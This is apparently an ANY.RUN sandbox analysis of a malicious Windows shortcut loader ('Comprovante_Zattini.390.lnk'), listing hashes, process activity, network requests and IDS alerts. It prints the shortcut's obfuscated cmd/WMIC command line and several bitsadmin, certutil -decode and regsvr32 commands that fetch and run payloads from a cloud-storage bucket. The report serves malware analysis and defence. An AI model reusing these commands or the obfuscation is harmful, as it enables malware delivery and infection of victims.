| File name: | Comprovante_Zattini.390.lnk |
| Full analysis: | https://app.any.run/tasks/90b3e40b-f5cf-4b08-872b-14165186619c |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | May 24, 2019, 14:06:35 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/octet-stream |
| File info: | MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has command line arguments, Icon number=23, Archive, ctime=Sun Nov 21 02:24:03 2010, mtime=Sun Nov 21 02:24:03 2010, atime=Sun Nov 21 02:24:03 2010, length=302592, window=hidenormalshowminimized |
| MD5: | A48A820F22CEB01A84A7E873ECC227DD |
| SHA1: | 86D8F3471AC1EB51C2C2671E75EBBEB7AFF72ACB |
| SHA256: | 018C35D81207FA01DBC486E4294AE3B5AAD6F5B74ABBC2D25E9D25D0FB1131F9 |
| SSDEEP: | 48:8Ar11n9SAA446446EATYYjPi5w+K+IKYj5KcQzqG3DzvKr4Jo/x4OZaTGHK5:8w19It6tA7Hb3KY9KnbvKsJgOGgGq5 |
MALICIOUS
Runs app for hidden code execution
- cmd.exe (PID: 2988)
Uses BITADMIN.EXE for downloading application
- WMIC.exe (PID: 2212)
Registers / Runs the DLL via REGSVR32.EXE
- WMIC.exe (PID: 2212)
SUSPICIOUS
Starts CMD.EXE for commands execution
- cmd.exe (PID: 2988)
- WMIC.exe (PID: 2212)
Executable content was dropped or overwritten
- certutil.exe (PID: 2952)
- certutil.exe (PID: 3104)
Application launched itself
- WMIC.exe (PID: 1944)
Starts CertUtil for decode files
- WMIC.exe (PID: 2212)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .lnk | | | Windows Shortcut (100) |
|---|
EXIF
LNK
| Flags: | IDList, LinkInfo, Description, CommandArgs, IconFile, Unicode, ExpString |
|---|---|
| FileAttributes: | Archive |
| CreateDate: | 2010:11:21 04:24:03+01:00 |
| AccessDate: | 2010:11:21 04:24:03+01:00 |
| ModifyDate: | 2010:11:21 04:24:03+01:00 |
| TargetFileSize: | 302592 |
| IconIndex: | 23 |
| RunWindow: | Show Minimized No Activate |
| HotKey: | (none) |
| TargetFileDOSName: | cmd.exe |
| DriveType: | Fixed Disk |
| VolumeLabel: | - |
| LocalBasePath: | C:\Windows\System32\cmd.exe |
| Description: | bmcxrs46lee90WYFrmxmes48iu30hWYFixxmudf7iqk4hOLFixvmef78iq26hELqicmved57iq26aELKcmvvhj57ge86dILKncbrhj67ue9dUUIJncxih466le90dY |
| CommandLineArguments: | /start /MIN %ComSpec% start /MIN %ComSpec% /V /C "set x=Cusf6:usf6\usf6\usf6Wusf6iusf6ndusf6owusf6s\usf6\susf6ysusf6tusf6eusf6musf63usf62usf6\usf6\usf6wusf6busf6eusf6m\usf6\Wusf6Musf6Iusf6C.eusf6xusf6e ousf6s gusf6eusf6t fusf65usf67usf6iusf6tusf66usf6husf6Eusf6Susf6, 6usf67usf6husf6iusf62usf66usf6ausf6, nusf6uusf6musf6busf6eusf6rusf6ousf6fusf6uusf6susf6eusf6rusf6susf6 /usf6fousf6rmusf6at:"husf6tusf6tusf6pusf6:usf6/usf6/susf6tusf6ousf6rusf6ausf6gusf6eusf6.usf6gusf6ousf6ousf6gusf6lusf6eusf6ausf6pusf6iusf6susf6.usf6cusf6ousf6musf6/usf6musf6iusf6dusf6gusf6ousf6lusf6dusf6eusf6musf6/usf60usf69usf6/usf6vusf6.usf6tusf6xusf6tusf6#usf60usf62usf65usf60usf64usf60usf6xusf6iusf6uusf6jusf66usf6rusf6lusf69usf6dusf6" &&echo %x:usf6=%|%ComSpec%" |
| IconFileName: | %SystemRoot%\system32\imageres.dll |
| MachineID: | dedicado-web |
Total processes
90
Monitored processes
31
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1944 | C:\\Windows\\system32\\wbem\\WMIC.exe os get f57it6hES, 67hi26a, numberofusers /format:"http://storage.googleapis.com/midgoldem/09/v.txt#025040xiuj6rl9d" | C:\Windows\system32\wbem\WMIC.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: WMI Commandline Utility Exit code: 2147749911 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2212 | "C:\Windows\System32\wbem\WMIC.exe" os get AXFWSIIT, XCSBXQWM, QHIMBSHY, lastbootupdate /format:"http://storage.googleapis.com/midgoldem/09/vv.txt#9961769" | C:\Windows\System32\wbem\WMIC.exe | WMIC.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: WMI Commandline Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2304 | "C:\Windows\System32\bitsadmin.exe" /transfer msd5 /priority foreground http://storage.googleapis.com/midgoldem/x/09/falxconxrenwc.jpg.zip.log?719961896 C:\Users\Public\Libraries\temporary\falxconxrenwc.jpg.z | C:\Windows\System32\bitsadmin.exe | — | WMIC.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2356 | "C:\Windows\System32\certutil.exe" -decode C:\Users\Public\Libraries\temporary\falxconxrenwgx.gif.z C:\Users\Public\Libraries\temporary\falxconxrenwgx.gif | C:\Windows\System32\certutil.exe | — | WMIC.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2428 | "C:\Windows\System32\certutil.exe" -decode C:\Users\Public\Libraries\temporary\falxconxrenwdwwn.gif.z C:\Users\Public\Libraries\temporary\falxconxrenwdwwn.gif | C:\Windows\System32\certutil.exe | — | WMIC.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2448 | "C:\Windows\System32\bitsadmin.exe" /transfer msd5 /priority foreground http://storage.googleapis.com/midgoldem/x/09/falxconxrenwxb.gif.zip.log?889752831 C:\Users\Public\Libraries\temporary\falxconxrenwxb.~.z | C:\Windows\System32\bitsadmin.exe | — | WMIC.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2604 | "C:\Windows\System32\bitsadmin.exe" /transfer msd5 /priority foreground http://storage.googleapis.com/midgoldem/x/09/falxconxrenwg.gif.zip.log?244653065 C:\Users\Public\Libraries\temporary\falxconxrenwg.gif.z | C:\Windows\System32\bitsadmin.exe | — | WMIC.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2680 | "C:\Windows\System32\certutil.exe" -decode C:\Users\Public\Libraries\temporary\falxconxrenwa.jpg.z C:\Users\Public\Libraries\temporary\falxconxrenwa.jpg | C:\Windows\System32\certutil.exe | — | WMIC.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2724 | "C:\Windows\System32\bitsadmin.exe" /transfer msd5 /priority foreground http://storage.googleapis.com/midgoldem/x/09/falxconxrenwhh11.dll.zip.log?160185165 C:\Users\Public\Libraries\temporary\falxconxrenw64.~.z | C:\Windows\System32\bitsadmin.exe | — | WMIC.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2792 | "C:\Windows\System32\bitsadmin.exe" /transfer msd5 /priority foreground http://storage.googleapis.com/midgoldem/x/09/falxconxrenwgx.gif.zip.log?113828321 C:\Users\Public\Libraries\temporary\falxconxrenwgx.gif.z | C:\Windows\System32\bitsadmin.exe | — | WMIC.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
259
Read events
235
Write events
24
Delete events
0
Modification events
| (PID) Process: | (1944) WMIC.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WMIC_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (1944) WMIC.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WMIC_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (1944) WMIC.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WMIC_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (1944) WMIC.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WMIC_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (1944) WMIC.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WMIC_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (1944) WMIC.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WMIC_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (1944) WMIC.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WMIC_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (1944) WMIC.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WMIC_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (1944) WMIC.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WMIC_RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (1944) WMIC.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WMIC_RASMANCS |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
Executable files
2
Suspicious files
8
Text files
3
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2212 | WMIC.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\vv[1].txt | xml | |
MD5:— | SHA256:— | |||
| 2680 | certutil.exe | C:\Users\Public\Libraries\temporary\falxconxrenwa.jpg | binary | |
MD5:— | SHA256:— | |||
| 3808 | certutil.exe | C:\Users\Public\Libraries\temporary\falxconxrenwc.jpg | binary | |
MD5:— | SHA256:— | |||
| 2356 | certutil.exe | C:\Users\Public\Libraries\temporary\falxconxrenwgx.gif | binary | |
MD5:— | SHA256:— | |||
| 2428 | certutil.exe | C:\Users\Public\Libraries\temporary\falxconxrenwdwwn.gif | binary | |
MD5:— | SHA256:— | |||
| 4072 | certutil.exe | C:\Users\Public\Libraries\temporary\falxconxrenwdx.gif | binary | |
MD5:— | SHA256:— | |||
| 3076 | cmd.exe | C:\Users\Public\Libraries\temporary\r1.log | text | |
MD5:— | SHA256:— | |||
| 2952 | certutil.exe | C:\Users\Public\Libraries\temporary\falxconxrenwxa.~ | executable | |
MD5:— | SHA256:— | |||
| 3208 | certutil.exe | C:\Users\Public\Libraries\temporary\falxconxrenwb.jpg | binary | |
MD5:— | SHA256:— | |||
| 2904 | certutil.exe | C:\Users\Public\Libraries\temporary\falxconxrenwg.gif | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
24
TCP/UDP connections
3
DNS requests
1
Threats
4
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 172.217.18.16:80 | http://storage.googleapis.com/midgoldem/x/09/falxconxrenwb.jpg.zip.log?622722882 | US | text | 247 Kb | whitelisted |
— | — | HEAD | 200 | 172.217.18.16:80 | http://storage.googleapis.com/midgoldem/x/09/falxconxrenwg.gif.zip.log?244653065 | US | text | 1.19 Mb | whitelisted |
— | — | HEAD | 200 | 172.217.18.16:80 | http://storage.googleapis.com/midgoldem/x/09/falxconxrenwa.jpg.zip.log?84824163 | US | — | — | whitelisted |
— | — | GET | 200 | 172.217.18.16:80 | http://storage.googleapis.com/midgoldem/x/09/falxconxrenwa.jpg.zip.log?84824163 | US | text | 68.6 Kb | whitelisted |
— | — | GET | 200 | 172.217.18.16:80 | http://storage.googleapis.com/midgoldem/x/09/falxconxrenwdwwn.gif.zip.log?519675567 | US | text | 1.19 Mb | whitelisted |
— | — | HEAD | 200 | 172.217.18.16:80 | http://storage.googleapis.com/midgoldem/x/09/falxconxrenwdx.gif.zip.log?217179177 | US | text | 1.19 Mb | whitelisted |
— | — | GET | 200 | 172.217.18.16:80 | http://storage.googleapis.com/midgoldem/x/09/falxconxrenwgx.gif.zip.log?113828321 | US | text | 488 Kb | whitelisted |
— | — | HEAD | 200 | 172.217.18.16:80 | http://storage.googleapis.com/midgoldem/x/09/falxconxrenwxa.gif.zip.log?375221081 | US | text | 488 Kb | whitelisted |
— | — | GET | 200 | 172.217.18.16:80 | http://storage.googleapis.com/midgoldem/x/09/falxconxrenwdx.gif.zip.log?217179177 | US | text | 1.19 Mb | whitelisted |
— | — | HEAD | 200 | 172.217.18.16:80 | http://storage.googleapis.com/midgoldem/x/09/falxconxrenwdwwn.gif.zip.log?519675567 | US | text | 308 Kb | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 172.217.18.16:80 | storage.googleapis.com | Google Inc. | US | whitelisted |
2212 | WMIC.exe | 172.217.18.16:80 | storage.googleapis.com | Google Inc. | US | whitelisted |
1944 | WMIC.exe | 172.217.18.16:80 | storage.googleapis.com | Google Inc. | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
storage.googleapis.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1944 | WMIC.exe | A Network Trojan was detected | ET TROJAN HTML/Xbash Hex Encoded WScript.Shell Inbound - Stage 1 |
1944 | WMIC.exe | Misc activity | SUSPICIOUS [PTsecurity] JS obfuscation (obfuscator.io) |
2212 | WMIC.exe | A Network Trojan was detected | ET TROJAN HTML/Xbash Hex Encoded WScript.Shell Inbound - Stage 1 |
2212 | WMIC.exe | Misc activity | SUSPICIOUS [PTsecurity] JS obfuscation (obfuscator.io) |